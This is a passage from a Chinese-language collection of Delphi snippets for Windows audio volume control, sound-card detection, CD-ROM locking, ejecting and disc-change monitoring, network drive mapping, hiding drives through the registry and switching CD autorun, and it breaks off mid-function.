Wave:='$'+inttohex(TrackBar1.Position,4)+inttohex(TrackBar2.Position,4);
waveoutsetvolume(0,strtoint(Wave));
end;
/////////////////////////////////////////////
WaveOutSetVolume(hwo:
Integer; dwVolume: Cardinal);

hwo is MediaPlayer1.DeviceId,

example: Right\/ | Left\/
dwVolume for Full L+R = $FFFFFFFF
dwVolume for Full L no R = $0000FFFF
dwVolume for Full R no L = $FFFF0000
dwVolume for no sound = $00000000
/////////////////////////////////////////////////

uses MMSystem

type
TVolType = (vtLeft, vtRight);
TVol = array[vtLeft..vtRight] of word;

procedure TVolForm.GetVolumes(var DevId : word;
var VolLeft, VolRight : word);
{volume is returned as a pointer to a DWord with the most
significant word for the left channel. The channels are
extracted by treating the DWord as a two element array and
accessing the two array elements for the Lt and Rt volumes}
var
Error : integer;
MsgResponse : word;
TempVol : TVol;
begin
Error := AuxGetVolume(DevId, @TempVol);
if Error <> 0 then begin
Timer1.Enabled := false;
MsgResponse := MessageDlg('Error Reading Volume : ' + IntToStr(Error) +
chr(13)
+ 'DevId : ' + IntToStr(DevId) + chr(13)
+ chr(13)
+ 'Set Next Device ?',
mtError, [mbYes, mbCancel], 0);
if MsgResponse = mrYes then {try the next Device Id}
DevId := DevId + 1
else begin
DevId := 0;
PChangeType := Nil;
end; {else MsgResponse = mrCancel}
Exit;
end; {if Error <> 0}
VolLeft := TempVol[vtLeft];
VolRight := TempVol[vtRight];
end;

procedure TVolForm.SetVolumes(DevId : word;
var VolLeft, VolRight : word);
{volume is set by passing a DWord value with the most
significant word set for the left channel, and the least
significant word set for the right channel. The channels are
set by treating the DWord as a two element array and
setting the two array elements for the Lt and Rt volumes}
var
Error : integer;
TempVol : TVol;
begin
TempVol[vtLeft] := VolLeft;
TempVol[vtRight] := VolRight;
Error := AuxSetVolume(DevId, longint(TempVol));
if Error <> 0 then
MessageDlg('Error Setting Volume : ' + IntToStr(Error),
mtError, [mbOK], 0);
end;


检测声卡存在

如果你是做一些多媒体播放器之类的程序时，为了完善系统的容错性，就必须用到一些检测系统的功能，其中检测声卡是否存在就是一个问题，下列程序帮你忙，首先需要在uses部分加入mmsystem ，接着在窗体创建时检测声卡：
procedure TForm1.FormCreate(Sender: Tobject);
var I:Integer;
begin
I := auxGetNumDevs();
if I<=0 then
label1.Caption :='系统没有发现声卡';
end;

uses mmsystem;
....
if WaveOutGetNumDevs > 0 then
ShowMessage('发现声卡')
else
ShowMessage('没发现声卡')
....


关闭声道

uses MMSystem;

procedure SetMediaAudioOff(DeviceID : word);
var
SetParm : TMCI_SET_PARMS;
begin
SetParm.dwAudio := MCI_SET_AUDIO_ALL;
mciSendCommand(DeviceID,
MCI_SET,
MCI_SET_AUDIO or MCI_SET_OFF,
Longint(@SetParm));
end;

Procedure SetMediaAudioOn(DeviceID : word);
var
SetParm : TMCI_SET_PARMS;
begin
SetParm.dwAudio := MCI_SET_AUDIO_ALL;
mciSendCommand(DeviceID,
MCI_SET,
MCI_SET_AUDIO or MCI_SET_ON,
Longint(@SetParm));
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
{Play AVI
file silently}
MediaPlayer1.FileName :=
'C:\TheWall\DELCAR2.AVI';
MediaPlayer1.Display := Panel1;
MediaPlayer1.Open;
MediaPlayer1.Play;
SetMediaAudioOff(MediaPlayer1.DeviceId);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
{Play AVI
with sound}
MediaPlayer1.FileName :=
'C:\TheWall\DELCAR2.AVI';
MediaPlayer1.Display := Panel1;
MediaPlayer1.Open;
MediaPlayer1.Play;
SetMediaAudioOn(MediaPlayer1.DeviceId);
end;


调整Mic音量

uses
MMSystem;

function GetLineInHandle(AudioType : integer) : integer;
var
i :
integer;
AudioCaps : TAuxCaps;
begin
result :=
0;
for i := 0 to auxGetNumDevs - 1 do begin
auxGetDevCaps(i, @AudioCaps, sizeof(AudioCaps));
if
AudioCaps.wTechnology = AudioType then begin
Result := i;
Break;
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
v : DWORD;
begin
AuxGetVolume(GetLineInHandle(AUXCAPS_CDAUDIO), @v);
Edit1.Text := IntToStr(LoWord(v));
Edit2.Text := IntToStr(HiWord(v));
end;

procedure TForm1.Button2Click(Sender: TObject);
var
v :
DWORD;
begin
v :=
MakeLong(Word(StrToInt(Edit1.Text)),
Word(StrToInt(Edit2.Text)));
AuxSetVolume(GetLineInHandle(AUXCAPS_CDAUDIO), v);
end;

procedure TForm1.Button3Click(Sender: TObject);
var
v : DWORD;
begin
AuxGetVolume(GetLineInHandle(AUXCAPS_AUXIN), @v);
Edit3.Text := IntToStr(LoWord(v));
Edit4.Text := IntToStr(HiWord(v));
end;

procedure TForm1.Button4Click(Sender: TObject);
var
v :
DWORD;
begin
v :=
MakeLong(Word(StrToInt(Edit3.Text)),
Word(StrToInt(Edit4.Text)));
AuxSetVolume(GetLineInHandle(AUXCAPS_AUXIN), v);
end;


锁定光驱门

//只工作在win9x下，对nt无效
type
TRegDWord = packed record
case
Integer of
0 : (Lo,Hi : Word);
1 : (X : DWord);
end;

TDevIoCtl_Reg = packed record
Reg_BX : DWord;
Reg_DX : DWord;
Reg_CX : DWord;
Reg_AX : DWord;
Reg_DI : DWord;
Reg_SI : DWord;
Reg_Flags : DWord;
end;

TParamBlock = packed record
PB_Operation : Byte;
PB_NumLocks : Byte;
end;

const
VWin32_DIOC_DOS_IoCtl = 1; // interrupt 21h

function DriveCharToNum(Drivechar : Char) : Word;
begin
DriveChar:=Upcase(DriveChar);
Result:= Ord(DriveChar)-Ord('A')+1;
end;

function AccessDevice(Var Reg : TDevIoCtl_Reg) : Integer;
var
DevIoHandle : THandle;
BytesReturned : DWord;
Res : Boolean;
begin
Result:=-1;
Reg.Reg_Flags:=$0001;
DevIoHandle :=
CreateFile('\\.\vwin32',0,0,nil,0,File_Flag_Delete_On_Close,0);
if
DevIoHandle <> Invalid_Handle_Value then begin
Res :=
DeviceIoControl(DevIoHandle,VWin32_DIOC_DOS_IoCtl,@Reg,SizeOf(Reg),@Reg,SizeOf(Reg),BytesReturned,nil);
if (Res and ((Reg.Reg_Flags and $0001) = 0)) Then Result:=0
else
Result:=Reg.Reg_AX;
CloseHandle(DevIoHandle);
end;
end;

function DriveEject(DriveChar : Char) : Integer;
Var
Reg :
TDevIoCtl_Reg;
begin
with Reg do begin
Reg_AX := $440d;
Reg_CX
:= $0849;
Reg_BX := DriveCharToNum(Drivechar);
Reg_Flags := $0001;
end;
Result:=AccessDevice(Reg);
end;

function DriveLock(DriveChar : Char) : Integer;
Var
Reg :
TDevIoCtl_Reg;
Param : TParamBlock;
begin
With Param DO begin
PB_Operation:=0;
PB_NumLocks :=0;
end;
with Reg do begin
Reg_AX := $440d;
Reg_BX := DriveCharToNum(Drivechar);
Reg_CX :=
$0848;
Reg_DX := Integer(@Param);
end;
Result:=AccessDevice(Reg);
end;
/////////////////////////////////////////
//对也nt有效
HANDLE
h=CreateFile("\\\\.\\E:",GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
if(h==INVALID_HANDLE_VALUE)
RaiseLastWin32Error();

DWORD n;
PREVENT_MEDIA_REMOVAL
s={true};
//要是开锁
//PREVENT_MEDIA_REMOVAL
s={false};
if(!DeviceIoControl(h,IOCTL_STORAGE_MEDIA_REMOVAL,&s,sizeof
s,NULL,0,&n,NULL))
RaiseLastWin32Error();
CloseHandle(h);
///////////////////////////////////////
unit
eLanCDRom;
{ ==================================================== }
{
Component
TeLanCDRomMonitor
}
{ ==================================================== }
{ 作
者
：eLan
}
{ E-mail      : eLan@126.com
}
{ 创建时间
：1998-09-04
}
{
最后修改时间：1998-11-18
}
{ ==================================================== }
{ You are free
to use, modify and distribute this code }
{ as you like. But I ask you to
send me a copy of new  }
{ versions. And please give me credit when you
use     }
{ parts of my code in other components or
applications.}

{ ==================================================== }
{ Properties, Methods and Events ： }
{ ---------------------------------------------------- }
{ DrvName
MonitorState
Close
Eject
StartMonitor
EndMonitor
Lock
StartOnMonitor
OnDiscArrive
OnDiscRemove
}
{ ==================================================== }
{ 修改记录： }
{
1998-09-05 晚 第一次调试成功
1998-10-31 修改
1998-11-09 添加 TCDNotifyEvent 类型，以便给响应事件传
递盘符参数
}
{ ---------------------------------------------------- }
interface
uses
MMSystem, Classes, Messages, Controls, SysUtils, Windows,
WinProcs, Forms;

const
DBT_DeviceArrival =32768;
DBT_DeviceRemoveComplete=32772;
DBT_DEVTYP_OEM =1; //OEM- or IHV-defined device type
DBT_DEVTYP_VOLUME =2; //Logical volume.
DBT_DEVTYP_PORT =3; //Port device (serial or parallel)
DBTF_MEDIA =1;

type
DEVIOCTL_REGISTERS = packed record
reg_EBX   : DWORD;
reg_EDX   :
DWORD;
reg_ECX   : DWORD;
reg_EAX   : DWORD;
reg_EDI   :
DWORD;
reg_ESI   : DWORD;
reg_Flags : DWORD;
end;
PDEVIOCTL_REGISTERS =
^DEVIOCTL_REGISTERS;

{  MID = packed record //Interrupt 21h Function 440Dh Minor Code
66h
midInfoLevel : WORD  ;
midSerialNum : DWORD ;
midVolLabel : array[0..10] of
byte;
midFileSysType: array[0..8] of byte;
end;
PMID = ^ MID;}

PARAMBLOCK = packed record
Operation : WORD; //Interrupt 21h Function 440Dh Minor Code 48h
NumLocks : WORD;
end;

const
WIN95_IOCTL_DEV = '\\.\vwin32';
VWIN32_DIOC_DOS_IOCTL = 1;

Type
TCDRomAct = (eEject, eClose);
TMonitorState = (eMonitorOn, eMonitorOff);

TDEV_BROADCAST_VOLUME = record
dbcv_Size :Byte ;
dbcv_DeviceType:Integer ;
dbcv_Reserved :Integer ;
dbcv_UnitMask :Integer ;
dbcv_Flags :Smallint ;
end;
PDEV_BROADCAST_VOLUME =^TDEV_BROADCAST_VOLUME;

TCDNotifyEvent = procedure(Sender: TObject;Drv:String) of object;

TeLanCDRomMonitor = Class(TComponent)
private
MyOwner : TForm;
MyOwnerHandle : THandle;
fDrvName : String;
fOnDiscArrive : TCDNotifyEvent;
fOnDiscRemove : TCDNotifyEvent;
fMonitorState : TMonitorState;
fStartOnMonitor: Boolean;
fLocked : Boolean;
//fP : PDEV_BROADCAST_VOLUME;
function GetDrvName(fDrvMask:Integer):String;
procedure CDRomAction(Action:TCDRomAct);
procedure SetStartOnMonitor(const Value: Boolean);
procedure DoLockCDRom(const fLock:Boolean; const Drv:String);
protected
OldWndProc : TFarProc;
NewWndProc : Pointer;
procedure HookWin;
procedure UnhookWin;
procedure HookWndProc(var AMsg: TMessage);
public
procedure Eject;
procedure Close;
procedure Lock; overload;
procedure Lock(const DrvName:Char);overload;
procedure Unlock;overload;
procedure Unlock(const DrvName:Char);overload;
procedure StartMonitor;
procedure EndMonitor;
property MonitorState :TMonitorState read fMonitorState;
property DrvName : String read FDrvName;
constructor Create(AOwner:tComponent);Override;
destructor Destroy;Override;
procedure Loaded;override;
published
property OnDiscArrive:TCDNotifyEvent read fOnDiscArrive Write fOnDiscArrive;
property OnDiscRemove:TCDNotifyEvent read fOnDiscRemove write fOnDiscRemove;
property StartOnMonitor:Boolean read FStartOnMonitor write SetStartOnMonitor default True;
property Locked:boolean read fLocked;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('eLan Soft',[TeLanCDRomMonitor]);
end;

{ TeLanCDRom }

procedure TeLanCDRomMonitor.CDRomAction(Action: TCDRomAct);
var
MCIDevice:TMCI_Open_Parms;
begin
MCIDevice.lpstrDeviceType :='CDAudio';
mciSendCommand(0,MCI_OPEN,MCI_OPEN_TYPE ,Integer(@MCIDevice ));
case Action of
eEject: mciSendCommand(MCIDevice.wDeviceID,MCI_SET, MCI_SET_DOOR_OPEN ,0);
eClose: mciSendCommand(MCIDevice.wDeviceID,MCI_SET, MCI_SET_DOOR_CLOSED ,0);
end;
mciSendCommand(MCIDevice.wDeviceID,MCI_CLOSE,0,0);
end;

procedure TeLanCDRomMonitor.Close;
begin
CDRomAction(eClose);
end;

procedure TeLanCDRomMonitor.Eject;
begin
CDRomAction(eEject);
end;

constructor TeLanCDRomMonitor.Create(AOwner: tComponent);
var I:Integer;
begin
for I:=0 to AOwner.ComponentCount -1 do
if AOwner.Components[I] is Self.ClassType then
raise Exception.Create(
Self.ClassName + ' component Duplicated');

inherited Create(aOwner);
with AOwner as TForm do
begin
MyOwner := TForm(AOwner); { My pointer to my owner form }
MyOwnerHandle := MyOwner.Handle;
//New(fP);
FStartOnMonitor :=true;
end;

fLocked:=False;
end;

destructor TeLanCDRomMonitor.Destroy;
begin
if fLocked then
Unlock;
if fMonitorState = eMonitorOn then UnhookWin;
//if Assigned(fP) then Dispose(fP);
inherited Destroy;
{Call default processing.}
end;

procedure TeLanCDRomMonitor.Loaded;
begin
if (fStartOnMonitor) and not (csDesigning in MyOwner.ComponentState) then
begin
HookWin;
fMonitorState :=eMonitorOn;
end
else
fMonitorState :=eMonitorOff;

end;

procedure TeLanCDRomMonitor.EndMonitor;
begin
if
fMonitorState = eMonitorOn then
begin
UnhookWin;
fMonitorState :=
eMonitorOff;
end;
end;

procedure TeLanCDRomMonitor.StartMonitor;
begin
if
fMonitorState = eMonitorOff then
begin
HookWin;
fMonitorState
:=eMonitorOn;
end;
end;

function TeLanCDRomMonitor.GetDrvName(fDrvMask: Integer): String;
{
----------------------------------------------------- }
{ 98-8-29
陈华珊编写
}
{ 用于将 TDEV_BROADCAST_VOLUME 结构的 dbcv_unitmask 成员}
{ 掩码转换成 000001
格式的字符串，按顺序分别代表 A、B、 }
{ D、… 驱动器，其中 1 表示该对应的驱动器发生变化。
}
{
在弹出或关闭光驱时返回光驱所在的盘符
}
{ ----------------------------------------------------- }
var
TemStr:string;
iPos  :integer;
begin
//MessageBox(0,pchar(IntToStr(fdrvmask)),'',mb_OK);
while
fDrvMask>1 do
begin
TemStr   :=
TemStr+IntToStr(fDrvMask mod 2);
fDrvMask := fDrvMask div
2;
end;
TemStr := TemStr+IntToStr(fDrvMask);
{
找到第一个 1 出现的位置 }
iPos   := Integer(StrPos(PChar(TemStr),'1'))
- Integer(Pchar(TemStr));
iPos   :=
iPos+65;           {A
的ASCII值为65}
Result := Char(iPos)+':\';
end;

procedure TeLanCDRomMonitor.SetStartOnMonitor(const Value: Boolean);
begin
//if (csDesigning in MyOwner.ComponentState) then
FStartOnMonitor := Value;
end;

procedure TeLanCDRomMonitor.HookWin;
begin
OldWndProc := TFarProc(GetWindowLong(MyOwnerHandle, GWL_WNDPROC));
NewWndProc := MakeObjectInstance(HookWndProc);
SetWindowLong(MyOwnerHandle, GWL_WNDPROC, LongInt(NewWndProc));
end; { HookWin }

procedure TeLanCDRomMonitor.HookWndProc(var AMsg: TMessage);
var fP : PDEV_BROADCAST_VOLUME;
begin
New(fP);
try
if AMsg.Msg = WM_DeviceChange then
begin
if (AMsg.LParam <> 0) then
begin
fP:=PDEV_BROADCAST_VOLUME(AMsg.LParam);

case AMsg.WParam of
DBT_DeviceArrival :
begin
if (fP.dbcv_DeviceType = dbt_DEVTYP_VOLUME) and
(Assigned(fOnDiscArrive)) then
begin
fDrvName :=GetDrvName(fP.dbcv_UnitMask);
fOnDiscArrive(self,fDrvName);
end;
end;

DBT_DeviceRemoveComplete:
begin
if (fP.dbcv_DeviceType
= dbt_DEVTYP_VOLUME)
and
(Assigned(fOnDiscRemove))
then
begin
fDrvName
:=GetDrvName(fP.dbcv_UnitMask);
fOnDiscRemove(self,fDrvName);
end;
end;
end;
end;
end;
finally
fP:=nil;
Dispose(fP);
end;
AMsg.Result := CallWindowProc(OldWndProc,MyOwnerHandle,
AMsg.Msg, AMsg.wParam, AMsg.lParam);
end;

procedure TeLanCDRomMonitor.UnhookWin;
begin
if Assigned(NewWndProc) then
begin
SetWindowLong(MyOwnerHandle, GWL_WNDPROC, LongInt(OldWndProc));
FreeObjectInstance(NewWndProc);
NewWndProc := nil;
end;
end; { UnHookWin }

procedure TeLanCDRomMonitor.Lock;
var DrvName : Char;
begin
if fLocked then Exit;
DrvName:='a';
repeat
if GetDriveType(pchar(drvname+':\')) = DRIVE_CDROM then
DoLockCDRom(True,DrvName);
Inc(DrvName);
until DrvName = 'z';
end;

procedure TeLanCDRomMonitor.Lock(const DrvName: Char);
begin
if
fLocked then Exit;
DoLockCDRom(True,DrvName);
end;

procedure TeLanCDRomMonitor.Unlock;
var DrvName : Char;
begin
if not fLocked then Exit;
DrvName:='a';
repeat
if GetDriveType(pchar(drvname+':\')) = DRIVE_CDROM then
DoLockCDRom(FAlse,DrvName);
Inc(DrvName);
until DrvName = 'z';
end;

procedure TeLanCDRomMonitor.Unlock(const DrvName: Char);
begin
if not fLocked then Exit;
DoLockCDRom(FAlse,DrvName);
end;

procedure TeLanCDRomMonitor.DoLockCDRom(const fLock: Boolean;
const Drv: String);

function DoIOCTL(Reg : DEVIOCTL_REGISTERS):BOOL;
var
hDevice : THandle;
fResult : BOOL;
cb : DWORD ;
begin
Result:=False;
hDevice :=0;
Reg.reg_Flags := $8000; // assume error (carry flag set)
try
hDevice := CreateFile('\\.\vwin32',
GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if hDevice = 0 then
Exit
else
begin
fResult := DeviceIoControl(hDevice,
VWIN32_DIOC_DOS_IOCTL,
@reg, sizeof(reg),
@reg, sizeof(reg), cb, nil);
if not fResult then Exit;
Result:= TRUE;
end;
finally
CloseHandle(hDevice);
end;
end;

var
reg : DEVIOCTL_REGISTERS;
ParamB : PARAMBLOCK;
begin
if fLock then ParamB.Operation :=0
else ParamB.Operation :=1;

reg.reg_EAX := $440D; // IOCTL for block devices
reg.reg_EBX := Integer(LowerCase(Drv)) - Integer('a') + 1; // zero-based drive ID
reg.reg_ECX := $0848; // Get LockStatus
reg.reg_EDX := DWORD(@ParamB); // receives media ID info
DoIOCTL(reg);
fLocked :=not fLocked;
end;

end.


建立虚拟驱动器

procedure TForm1.Button1Click(Sender: TObject);

var

NRW: TNetResource;

begin

with NRW do

begin

dwType := RESOURCETYPE_ANY;

lpLocalName := 'X:'; //驱动器号

lpRemoteName := '\\MyServer\MyDirectory';

lpProvider := '';

end;

WNetAddConnection2(NRW, 'MyPassword', 'MyUserName', CONNECT_UPDATE_PROFILE);

end;


屏蔽光驱

一、 手工在Windows 98中隐藏光驱。
    Windows 98提供了隐藏某个磁盘驱动器（包括软驱、硬盘、光驱）的功能，我
们只需手工对注册表数据库进行修改即可达到隐藏光驱的目的，当然也就同样达到
了禁用光驱的目的。为此，可采用如下步骤：
    1. 单击“开始”按钮，然后选择“运行”命令，打开“运行”对话框。
    2. 在“运行”对话框的“打开”栏中输入“REGEDIT”，然后单击“确定”按
钮，启动Windows 98的注册表编辑器。
    3. 在注册表编辑器左边依次双击HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
\Explorer，展开Explorer分支。
    4. 右击注册表编辑器右边空白处，然后执行“新建”菜单中的“二进制值”命
令，在Explorer主键下新建一个名为“新值 ＃1”的二进制值。
    5. 右击该二进制值，然后执行快捷菜单中的“重命名”命令，将“新值 ＃1”
二进制值改名为“NoDrives”。 该值就是用于设置是否隐藏某个驱动器的，它由四
个二进制字节构成（缺省值为00 00 00 00），每个字节的每一位都分别对应一个磁
盘驱动器的盘符，当某位为1时，资源管理器及“我的电脑”中的相应驱动器图标即
会隐藏起来。具体来说，“NoDrives”的第一个字节代表从A到H的八个盘（其中01
为A、02为B、04为C、08为D、10为E、20为F、40为G、80为H），第二个字节代表I
到P；第三个字节代表Q到X；第四个字节代表Y和Z。
    6. 双击NoDrives，系统弹出“编辑二进制值”对话框。
    7. 根据自己光驱盘符的实际情况对“NoDrives”的值进行修改，若光驱盘符为
D则应修改为08000000；若光驱盘符为E则应修改为10000000；若光驱盘符为F则应
修改为20000000……（将“NoDrives”改为FF FF FF FF则可隐藏所有驱动器）。
    8. 单击“确定”按钮，关闭“编辑二进制值”对话框。
    9. 执行注册表编辑器“注册表”菜单的“退出”命令，关闭注册表编辑器。
    10. 重新启动Windows 98。
    这样，光驱的图标就会从Windows 98的图形界面中消失，我们无论是从资源管
理器、我的电脑及打开文件、保存文件对话框中，还是在其他外挂文件管理器（如
Windows Command等）中都无法发现这些隐藏了的光驱的踪迹，从而达到了禁止他
人使用光驱的目的。

--------------------------------------------------------------------------------
procedure
ShieldCDs;
function IsCDROM(DriveChar: Char): Boolean;
begin
Result := GetDriveType(PChar(DriveChar + ':\')) =
DRIVE_CDROM;
end;
const
_PATH =
'\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer';
var
I, T: Integer;
Buffer, Mask: DWORD;
R:
TRegistry;
begin
Mask := 0;
for I := 0 to 25
do
if IsCDROM(Char(I + Ord('A'))) then Mask := Mask + 1
shl I;
R := TRegistry.Create;
R.Rootkey :=
HKEY_CURRENT_USER;
R.CreateKey(_PATH);
R.OpenKey(_PATH,
False);
if R.ReadBinaryData('NoDrives', Buffer, SizeOf(Buffer)) = 0
then Buffer := 0;
Buffer := Buffer and not Mask or Mask; //
为了不破坏对其它驱动器的设置。
R.WriteBinaryData('NoDrives', Buffer,
SizeOf(Buffer));
R.Free;
end;


响应光驱弹出事件

interface
TForm1 = class(TForm)
...
public
procedure WMDeviceChange(var Msg: TMsg); message WM_DEVICECHANGE;

implementation

procedure TForm1.WMDeviceChange(var Msg: TMsg);
begin
if Msg.wParam = DBT_DEVICEREMOVEPENDING then
// user has started to eject CD
// Tell Windows it's OK.
Msg.Result := True;
end;
//////////////////////////////////////////////////////
You can write a message handler for the WM_DEVICECHANGE message. If
the CD tray is ejected, the value of wParam of the message will be
DBT_DEVICEREMOVECOMPLETE. Take a look at WM_DEVICECHANGE in the
Win32.hlp


设定光驱自动运行特性

function IsAudioCdAutoRunOn : bool;
var
reg:
TRegistry;
Classes : string;
ClassesRoot : string;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey
:= HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Classes\AudioCD\Shell',
false);
Classes := reg.ReadString('');
reg.CloseKey;
reg.RootKey := HKEY_CLASSES_ROOT;
reg.OpenKey('AudioCD\Shell',
false);
ClassesRoot := reg.ReadString('');
reg.CloseKey;
reg.free;
for i := 1 to length(Classes)
do
Classes[i] := UpCase(Classes[i]);
for i := 1
to length(ClassesRoot) do
ClassesRoot[i] :=
UpCase(ClassesRoot[i]);
result := ((Classes = 'PLAY')
and
(ClassesRoot = 'PLAY'));
end;

procedure SetAudioCdAutoRun(bOn : bool);
var
reg: TRegistry;
Classes : string;
ClassesRoot : string;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Classes\AudioCD\Shell',
false);
if bOn then
reg.WriteString('', 'play') else
reg.WriteString('', '');
reg.CloseKey;
reg.RootKey := HKEY_CLASSES_ROOT;
reg.OpenKey('AudioCD\Shell',
false);
if bOn then
reg.WriteString('', 'play') else
reg.WriteString('', '');
reg.CloseKey;
reg.free;
end;
/////////////////////////////////////////////////////
下面方法无须重起系统
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
public
procedure WndProc(var Message: TMessage); override;
end;

var
Form1: TForm1;
MessageID : Integer;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
MessageID := RegisterWindowMessage('QueryCancelAutoPlay');
end;

procedure TForm1.WndProc(var Message: TMessage);
begin
if
Message.Msg = MessageID then
Message.Result := 1  //
1 = no AutoPlay, 0 = AutoPlay allowed
else
inherited WndProc(Message);
end;

end.

///////////////////////////////////////////////
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AudioCD\Shell

HKEY_CLASSES_ROOT\AudioCD\Shell

The value will be the string "play" if the Autorun feature is
enabled.

The following example demonstrates both reading and writing these key
values.

Example:

function IsAudioCdAutoRunOn : bool;
var
reg:
TRegistry;
Classes : string;
ClassesRoot : string;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey
:= HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Classes\AudioCD\Shell',
false);
Classes := reg.ReadString('');
reg.CloseKey;
reg.RootKey := HKEY_CLASSES_ROOT;
reg.OpenKey('AudioCD\Shell',
false);
ClassesRoot := reg.ReadString('');
reg.CloseKey;
reg.free;
for i := 1 to length(Classes)
do
Classes[i] := UpCase(Classes[i]);
for i := 1
to length(ClassesRoot) do
ClassesRoot[i] :=
UpCase(ClassesRoot[i]);
result := ((Classes = 'PLAY')
and
(ClassesRoot = 'PLAY'));
end;

procedure SetAudioCdAutoRun(bOn : bool);
var
reg:
TRegistry;
Classes : string;
ClassesRoot :
string;
begin
reg := TRegistry.Create;
reg.RootKey :=
HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Classes\AudioCD\Shell',
false);
if bOn then
reg.WriteString('', 'play')
else
reg.WriteString('', '');
reg.CloseKey;
reg.RootKey := HKEY_CLASSES_ROOT;
reg.OpenKey('AudioCD\Shell',
false);
if bOn then
reg.WriteString('', 'play')
else
reg.WriteString('', '');
reg.CloseKey;
reg.free;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if IsAudioCdAutoRunOn then
ShowMessage('Autorun Audio Cd is On') else
ShowMessage('Autorun Audio Cd is Off');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SetAudioCdAutoRun(true);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
SetAudioCdAutoRun(false);
end;
///////////////////////////////////////////////////////////////////////////
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
NoDriveTypeAutoRun

Setting the following bit numbers of the value of this key will
cause Windows not to use any auto run capabilities that may be
present for the device denoted by the bit number.

DRIVE_UNKNOWN = bit # 0
DRIVE_NO_ROOT_DIR = bit #1
DRIVE_REMOVABLE= Bit
# 2
DRIVE_FIXED = Bit #3
DRIVE_REMOTE= Bit #4
DRIVE_CDROM= Bit
#5
DRIVE_RAMDISK= Bit #6

You can also set this value to test the autorun capability of a
program you are developing from a floppy or network drive, by
setting the value to boot the autorun program from a floppy disk
(DRIVE_REMOVEABLE) or network drive (DRIVE_REMOTE). If the
device does not have auto-insert detection capabilities, simply
inserting the disk and pressing F-5 from the Windows explorer
should cause the autorun program to boot.

The following example demonstrates the ability to check if the
autorun detection of the CD is enabled, and also demonstrates
the ability of turning the autorun detection both on and off
for the CD.

Example

uses
Registry;

function IsCdAutoRunOn : bool;
var
reg: TRegistry;
AutoRunSetting : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey(
'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',
false);
reg.ReadBinaryData('NoDriveTypeAutoRun',
AutoRunSetting
,
sizeof(AutoRunSetting));
reg.CloseKey;
reg.free;
result :=  not ((AutoRunSetting and (1 shl 5)) <> 0);
end;

procedure SetCdAutoRun(bOn : bool);
var
reg: TRegistry;
AutoRunSetting : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.LazyWrite := false;
reg.OpenKey(
'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',
false);
reg.ReadBinaryData('NoDriveTypeAutoRun',
AutoRunSetting ,
sizeof(AutoRunSetting));
if bOn then
AutoRunSetting := AutoRunSetting and not (1 shl 5)
else
AutoRunSetting := AutoRunSetting or (1 shl 5);
reg.WriteBinaryData('NoDriveTypeAutoRun',
AutoRunSetting ,
sizeof(AutoRunSetting));
reg.CloseKey;
reg.free;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if IsCdAutoRunOn then
ShowMessage('CD AutoRun Is On') else
ShowMessage('CD AutoRun Is Off');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SetCdAutoRun(True);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
SetCdAutoRun(False);
end;


与光盘有关的函数

{***************************************************************
*
* Unit Name: CXDiskFileUtils
* Purpose :
* Author : hubdog
* History : 0.01
*
****************************************************************}

unit CXDiskFileUtils;

interface

uses Classes, Sysutils;
//////////////CDRom
Utils//////////////////////
//获得CDRom 序列号
function
GetdiskserilNum(ADrive: string):
string;
//获得CDRom卷标，返回''表示驱动器中没有光盘
function GetCDRomLabel(ADrive:
string): string;
//获得第一个CDRom,返回''表示驱动器中没有光盘
function
GetFirstCDROM: ShortString;
//获得系统驱动器列表
procedure Getdisks(Strings:
TStringList);
//打开光驱
procedure
OpenCDRom;
//关闭光驱
procedure
CloseCDRom;
//切换光驱自动运行功能,设置在Windows重新启动后将生效
procedure
SetCDRomAutoRun(AutoRun:Boolean);

implementation

uses Windows, MMSystem;
//////////////CDRom Utils////////////////////////////

function GetdiskserilNum(ADrive: string): string;
var
VolumeName : array[0..255] of char;
FileSystemType : array[0..255] of char;
SerialNum : DWORD;
MaxFilenameLength : DWORD;
Flags : DWORD;
begin
if (GetVolumeInformation(PChar(ADrive),
VolumeName,
256,
@SerialNum,
MaxFilenameLength,
Flags,
FileSystemType,
256)) then
Result := (IntToHex(SerialNum shr 16, 3) +
IntToHex((SerialNum shl 16) shr 16, 4));
end;

function GetCDRomLabel(ADrive: string): string;
var
VolumeName : array[0..255] of char;
FileSystemType : array[0..255] of char;
SerialNum : DWORD;
MaxFilenameLength : DWORD;
Flags : DWORD;
begin
//Result := '驱动器中没有CDRom';
if (GetVolumeInformation(PChar(ADrive),
VolumeName,
256,
@SerialNum,
MaxFilenameLength,
Flags,
FileSystemType,
256)) then
Result := VolumeName;
end;

function GetFirstCDROM: Shortstring;
var
AList : TStringList;
Counter : integer;
begin
//Result := '驱动器里无CDRom';
AList := TStringList.Create;
